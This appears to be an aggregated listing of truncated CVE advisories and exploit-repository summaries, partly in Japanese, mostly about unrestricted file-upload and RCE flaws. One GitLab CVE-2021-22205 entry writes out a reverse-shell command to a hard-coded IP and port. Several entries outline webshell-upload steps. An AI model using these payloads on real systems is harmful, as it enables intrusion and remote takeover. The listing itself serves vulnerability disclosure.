CVE-2026-92532

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

OpenSTAManager RCE エクスプロイト CVE-2026-38751 概要 このPythonスクリプトは、CVE-2026-38751として識別されたOpenSTAManagerバージョン2.10のリモートコード実行の脆弱性を悪用します。このエクスプロイトにより、認証されたユーザーは悪意のあるモジュールをアップロードし、ターゲットシステム上で任意のコマンドを実行できます。 脆弱性詳細 CVE ID : CVE-2026-38751 製品 : OpenSTAManager バージョン : 2.10 タイプ : リモートコード実行 RCE 攻撃ベクトル :...

EUVD-2026-94284

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532

A vulnerability exists in the BugTracker.NET attachment functionality where an authenticated user with administrator privileges can modify application configurations to store files in a web-accessible directory. Due to insufficient file extension validation , an attacker can upload and execute a ...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh", "chmod +x /tmp/1.sh...

wargame-tarpioka

BubbleTea CVE-2007-4559 「.tar」を使用したディレクトリトラバーサル脆弱性により../../flag path BubbleTea/ ├── Dockerfile ├── flag ├── requirements.txt └── src ├── files ├── template │ └── index.html └── app.py 現在のビルド手順 dockerの確認 docker ps docker images docker build -t tarpioka docker run -d -it --name tarpioka -p 13680:80...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS バージョン " image.jpg 4 このファイルを image.php にリネームします。 5 フォームページで、作成した image.php ファイルをアップロードします。 6 このファイルを実行するには、https://yoursite.com/assets/image.php にアクセスします。 注：https://yoursite.com をテストインストールのアドレスに置き換えてください。 参考 GHSA-72hg-5wr5-rmfc...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE このリポジトリには、Adobe ColdFusion 2021 の RCE 脆弱性に対するエクスプロイトコードが含まれています。 エクスプロイトの説明 エクスプロイトは、JSP リバースシェルを含む POST リクエストを /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが...

CVE-2024-22393

CVE-2024-22393 のエクスプロイト この脆弱性を悪用するには、私が提供した写真を任意の写真アップロードセクションにアップロードしてください。 lottapixel.jpg 参照: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1 https://lists.apache.org/thread/f58l6dr4r74hl6o71gn47kmn44vw12cv...

CVE-2024-50510

CVE-2024-50510 AR For WooCommerce = 6.2 - 認証なし任意ファイルアップロード 説明 WordPress用AR for WooCommerceプラグインは、バージョン6.2までの全てのバージョンにおいて、ファイルタイプの検証が欠如しているため、任意のファイルアップロードに対して脆弱です。これにより、認証されていない攻撃者が影響を受けるサイトのサーバーに任意のファイルをアップロードする可能性があり、リモートコード実行が可能になる場合があります。 詳細 タイプ : プラグイン スラッグ : ar-for-woocommerce 影響を受けるバージョン :...

cve-2017-7269-tool

cve-2017-7269 webshell および shellcode ツール ビルド csc cve-2017-7269.cs 使い方 CVE-2017-7269 parms Header: -h If ヘッダーのホストを設定 -p If ヘッダーのポートを設定 -s If ヘッダーのスキームを設定 -l 物理パスの長さ WebShell: -w ウェブシェルをサーバーにアップロード -wp 保存するウェブシェルのパス ShellCode: -c シェルコードを実行 その他: -t 脆弱性のテストのみ行う。 -e getshell またはテスト時にプロセスを終了 -k...

CVE-2023-50164

HackTheBox ラボ向け Exploit CVE-2023-50164 説明 この exploit は、HackTheBox の Strutted ラボ向けに開発され、Apache Struts 2 の CVE-2023-50164 の脆弱性を悪用することを目的としています。この欠陥により、ファイルアップロードパラメータの処理における不備を介して path traversal が可能になります。この exploit は、攻撃者がどのように 悪意のあるファイルのアップロード を行い、リモートコード実行 RCE を達成できるかを示す目的で作成されました。 注記: この exploit...

CVE-2026-38526

CVE-2026-38526 — Krayin CRM ≤ 2.2.x 認証済みRCE ⚠️ 法的警告 ：このコードは教育目的 および許可されたテスト（CTF、バグバウンティ、プライベートラボ）専用として提供されています。 作者は違法な使用に対して責任を負いません。 説明 Krayin CRM（Webkul）≤ 2.2.x はエンドポイント /admin/tinymce/upload を公開しており、認証済みユーザー（低権限であっても）が 拡張子の検証なしにファイルをアップロードできます。ファイルは その後 storage/ フォルダから配信され、PHPコードの 任意実行が可能になります。...

CVE-2025-57462

CVE-2025-57462 説明: machpanel 8.0.32 における、悪意のあるファイルアップロードによる格納型XSS。 PoC: https://controlpaneldomain/Client/SubmitTicket.aspx にアクセスし、メタデータにXSSスクリプトを含むPDFファイルをアップロードします。チケットを送信した後、アップロードされたファイルにアクセスすることで、悪意のあるXSSスクリプトを実行できます。 Aljohara Abdulmohsen Alsubaie によって発見されました。...

CVE-2025-57298

Kotaemonにおける安全でないMarkdownレンダリングによる格納型XSS 概要 Kotaemonは、PDF、Word、Excelなどのアップロードされた文書を照会するためのWebインターフェースを提供する、オープンソースのRAG（Retrieval-Augmented Generation：検索拡張生成）ベースの文書QAシステムです。 Kotaemonの文書レンダリングパイプラインには、格納型クロスサイトスクリプティング（XSS）の脆弱性が存在します。...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

Zimbra Collaboration - Unrestricted File Upload

An issue was discovered in Zimbra Collaboration ZCS 8.8.15 and 9.0. An attacker can upload arbitrary files through amavis via a cpio loophole extraction to /opt/zimbra/jetty/webapps/zimbra/public that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also,...

Roxy Fileman 1.4.5 - Unrestricted File Upload

Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. id: CVE-2018-20526 info: name: Roxy Fileman 1.4.5 -...